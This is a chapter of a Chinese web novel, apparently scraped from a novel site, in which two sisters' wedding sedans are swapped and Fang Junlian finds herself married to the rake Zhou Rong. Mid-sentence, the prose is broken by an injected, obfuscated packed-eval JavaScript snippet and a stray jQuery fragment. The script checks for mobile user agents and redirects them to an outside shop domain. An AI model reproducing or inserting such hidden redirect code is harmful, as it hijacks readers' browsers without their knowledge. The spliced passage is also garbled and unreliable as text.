文趣网 > 其他小说 > 钗上燕 > 2. 吉时已到(下)
    “哎哟,我的小姐哟,可不能掀!还没拜堂呢,犯了忌讳要被婆婆责怪的!”

    不对,全都不对。

    哪有新郎官在拜堂前还在屋里喝酒的道理,这成何体统!

    “喜娘,”方君怜压低了声音,“这是走错了门?这里是……”

    “小姐莫急,就是这儿。”喜娘也是一脸喜气,浑不觉她话里的异样,“这盖头哪能自己掀呢,得等新郎官亲自挑开,日子啊才能过得亮堂堂。”

    闻言方君怜缓缓收回手,待喜娘扶她下轿,耳边是此起彼伏的道喜声。

    “新娘子长得咋样?”

    “那还用问?方家的女眷就没有难看的。”

    “真是可惜了,遇上那厮……”

    “嘘,少说两句,喝酒来喝酒!”

    那些声音嘈杂,带着浓烈的酒气。

    方君怜强迫自己不去在意,只当是侯府来人众多,龙蛇混杂。

    她被引着站定,身侧传来了两道威严而不失温和的声音,应是公婆无疑。

    “一拜天地——”

    “二拜高堂——”

    她随着喜娘的唱喏,规规矩矩地跪拜下去。

    “夫妻对拜——”

    对面伸过来一只手,虚虚地扶了她一下。

    就在那一瞬间,方君怜嗅到了一股奇特的气息。那是一股清淡的松针草木香,夹杂着酒气。

    扶着她的手掌心滚烫,指节分明,那一层厚厚的茧子,绝不是握笔的手,倒像是常年舞刀弄剑磨出来的。

    方君怜的心头猛地一跳,她甚至不敢细想。

    公婆慈爱的声音在上方传来。

    “好,好,是个知礼数的孩子。”

    “这是给新妇的见面礼,收好了。”

    手腕一沉,坠得她有些发麻。

    礼成后,方君怜被一群人簇拥着送进了一处房间,房门'吱呀'一声拢上,顿时隔绝了门外的喧嚣。

    她独自坐在铺着花生桂圆的床沿,屋内很安静,几乎是能够听闻见烛火燃烧时的噼啪声,喧闹的人声随着新郎官远去,门口只有几名丫鬟婆子守着。

    时间不断流逝,方君怜等得困倦,午时吃的那几块糕点早就消化干净了,腹中不断传来咕咕叫的响声。

    她的脑海中只剩下想吃东西这个念头,可她是侯府的新妇,不能坏了规矩。

    不知等了多久,外边的天色逐渐暗下去,方君怜的头一点一点往下坠,几乎要歪倒在床上时,门口传来几声响动,仆役的低声交谈窸窸窣窣透着门缝挤进,旋即,门被推开了。

    门被推开的那一刻,裹挟进来的冷风让烛火摇曳的幅度更大。

    方君怜瞬间清醒,赶忙端正好坐姿,双手交叠着放在膝上,心跳如擂鼓。

    来人的脚步声略显沉重,似乎是喝了不少酒,气息带着燥热之意,但奇怪的是,那股草木香气却更加清晰了,冲淡了酒气。

    “这帮孙子,怎么灌那么多酒……”

    一道低低的声音在面前响起。

    方君怜猛然抬头,她想掀开盖头,却因为规矩硬生生将动作压了下去。

    这声音不对劲,绝不是赵禅生的声音,但不是他,那能是谁?

    来人瞧着她紧绷的身体,往前走了几步后顿住了。

    “啧。”

    一道咂舌声极轻的响起,那戏谑的语调在悬在方君怜的上空,“我说方四小姐,你也太能熬了,这都什么时辰了,还端着架子坐这儿当门神呢?”

    方君怜顿感一道惊雷劈下,劈得她五脏六腑都在震颤。

    四小姐?

    方君淳?!

    “什么四小姐,夫君在说笑么?”方君怜仍旧想垂死挣扎一番。

    那人嗤笑一声回道:“行了,礼数走完就算了,咱俩心里都有数,不过是两家逼着走个过场。你呢安安分分待在后院,缺什么短什么跟管家说,报我名下。我呢该干嘛干嘛,咱俩井水不犯河水,如何?”

    方君怜浑身上下的血液仿佛都凝固了,她声音发颤,“你在胡说什么……”

    这到底是怎么回事,她不是在赵禅生的房中么?这个吊儿郎当的声音莽夫到底是何许人?!

    莫非她下午是真上错花轿了么?

    她母亲精明一世,又怎么可能犯下这种毁人一生的错误!

    “哎别急啊。”那人似乎觉得有趣,低低笑了声,语气带着几分恶劣,“现在就开始闹脾气了?成亲第一天就这架势,往后可怎么得了啊?来,先把这劳什子给揭了,省得你老盯着红布看,我瞧着也心烦。”

    话音甫落,方君怜的下巴便被一根冰凉的东西抬起。

    那是喜秤。

    红绸缎被缓缓挑起来,她下意识眯了眯眼,视线里先是出现了一双绣着金蟒的皂靴,然后是玄色的衣摆,再往上……

    一张脸闯入了她的视野。

    鼻梁高挺,薄唇紧抿,这是一张极为年轻俊朗的脸,甚至带着几分漫不经心的邪气,但此刻这张脸上没有任何新郎官该有的喜气,只有惊愕。

    方君怜看清了他的脸。

    不是赵禅生。

    这儿也不是清远侯府。

    四目相对,气氛在这一霎彻底凝住。

    周戎盯着她,嘴唇微张。

    这不是那个唯唯诺诺的四小姐方君淳!

    而是方家那位出了名的方君怜!

    “操!”

    周戎几乎是脱口而出,手里的喜秤哐当掉在地上。他猛地后退几步,那双桃花眼瞪得溜圆。

    “怎么是你?!”

    两人异口同声喊了出来。

    方君怜的心像是被人狠狠攥紧,她死死凝住这张脸。

    周戎!

    怎么会是他?!

    周戎显然也懵了,门外侍候的仆役敲了敲门,询问发生了什么,他转头大声回道:“没事,别进来,我刚刚不小心碰掉东西而已!”

    他今儿本就不想成亲,这婚事也是家中长辈指定的,他老娘提刀架着他脖子上,逼他滚回来成婚,想着随便应付一下完事。

    屋内的红烛噼啪炸了个灯花。

    “操,这叫什么事啊。”他又低低骂了一句,这回声音小了些。

    方君怜端坐在床边,那身沉重的婚服衬得她脸色愈发苍白,那双漂亮的眸子死死盯着周戎,叫他心里发毛。

    周戎踱步到她面前,语气里带着些许试探:“那个,方君怜,这事儿咱俩得商量一下吧,你怎么会在这里,你四妹妹呢?”

    方君怜没吭声,冷冷地看着他。

    她这一生是毁了,从踏入定北侯府的那一霎就彻底毁了。

    周戎被她这眼神看得心里不是滋味,挠了挠下巴,继续道:“你看啊,肯定是接亲的轿子给抬错了,你也先别着急,赶明儿我带你上赵禅生那儿去,咱俩把亲换回来,就当这事儿没发生过,你看行不?”

    闻言,方君怜终于舍得抬头仔细看他,“换回来?你当这是过家家吗,以为花轿抬错了,新娘子还能原封不动抬回去?”

    想着,真是可笑,她珍惜了半生的名节竟然要和这种人系在一根绳上。

    周戎眨

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706519|208331||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了眨眼,才听懂她话里的意思。

    也就是说,只要这事儿传出去,方君怜就玩完了,不管她没过门就跑,还是被别的男人看了脸,那也都是不贞,侯府也决计不会要一个有这种传闻的儿媳妇,而方家也会因为她沦为整个京城的笑柄。

    周戎倒吸一口凉气,他也不傻,方君怜这话一点没错。

    他可以不在乎别人的唾沫星子,但他不能拉着方君怜一起去送死。

    “那怎么办?”周戎有点急了,那股散漫劲儿收了起来,露出几分慌乱,“难不成我真要跟你过一辈子,不是,那方君淳怎么办?”

    提到四妹,方君怜的脸色霎时又白了点。

    她那怯懦的四妹,此刻恐怕坐在侯府的婚房里,同她一样对着新郎官的脸不知所措吧。如果换亲,赵禅生会不会觉得受到了侮辱?侯府会不会觉得方家在耍他们?

    “我不知道。”方君怜终于泄了气,肩膀垮下来,“我也不知道该怎么办。”

    周戎看着她这幅摸样,心里莫名地有些不舒服,他总觉得方君怜这样的女子应该高高在上,下巴抬得老高,说话也该是夹枪带棒,不应该是这么颓丧无助的。

    他烦躁的啧声,在屋里转了一圈后,突然停在方君怜面前,弯下腰凑近了些,“方君怜,你平时不是挺能说的吗?不是号称京城第一才女吗?这种时候你倒是想想办法啊!”

    那股草木香气混着酒气扑面而来,方君怜猛地抬头,瞪着他:“想什么办法,现在唯一的办法就是我直接撞死在这里一了百了!”

    周戎差点跳起来,又想起动静太大会引人注意,只好压低了声音道:“你疯了吧!你要是今夜撞死在我房里,我娘能让我下去给你配阴婚信不信!而且你要是真死了,这事根本捂不住,你妹妹要咋办?”

    他直起身,双手叉腰,继续在屋里转圈。

    不能换,也不能死……

    他眉头越皱越紧。

    忽然间,方君怜瞧见他眼神骤亮,心提了起来。

    周戎停下脚步,那双桃花眼里闪过笑意,“要不这样,咱俩凑合着过了怎么样?”

    方君怜一口气差点没提上来。

    “你先别急着死啊!”周戎赶紧摆手,一脸无辜的表情,“你想啊,现在大半夜的谁也换不了,万一赵禅生喝多了兽性大发,那更回不去是吧。这事儿要是捅出去,咱俩都得完蛋。”

    方君怜死死咬着下唇,几乎要咬出血来。

    周戎看着她挣扎的样子,叹了口气继续道:“我知道你瞧不上我,我也不想娶你,但现在这情况,咱们是一条绳上的蚂蚱。你要是完了,我也别想好过,你就当是暂时在我家落脚,等风头过了,咱们再想办法。”

    他顿了顿,又补了一句,语气里带着点别扭:“放心,我周戎虽然混账,但不干欺负女人的事儿,我绝不碰你一根手指头。”

    屋内陷入长久的沉默。

    红烛燃尽,蜡泪堆积如山。

    方君怜抬起头,轻声唤道:“周戎。”

    “啊?”周戎应了一声。

    方君怜顿了顿,继续道:“记住你今天说的话,若是让我发现今天的事泄露出去半个字……”

    周戎赶紧举双手做投降状,连连应是:“知道知道,我周戎怼天发誓,绝对守口如瓶,咱们现在是一条船的,我还能害你不成。”

    话停在这,他又捡起那副嬉皮笑脸的模样,“你是不是饿一天了?我叫人给你端点吃的来。”

    方君怜没理他。

    周戎也不在意,嘿嘿笑了声,旋即推开门出去。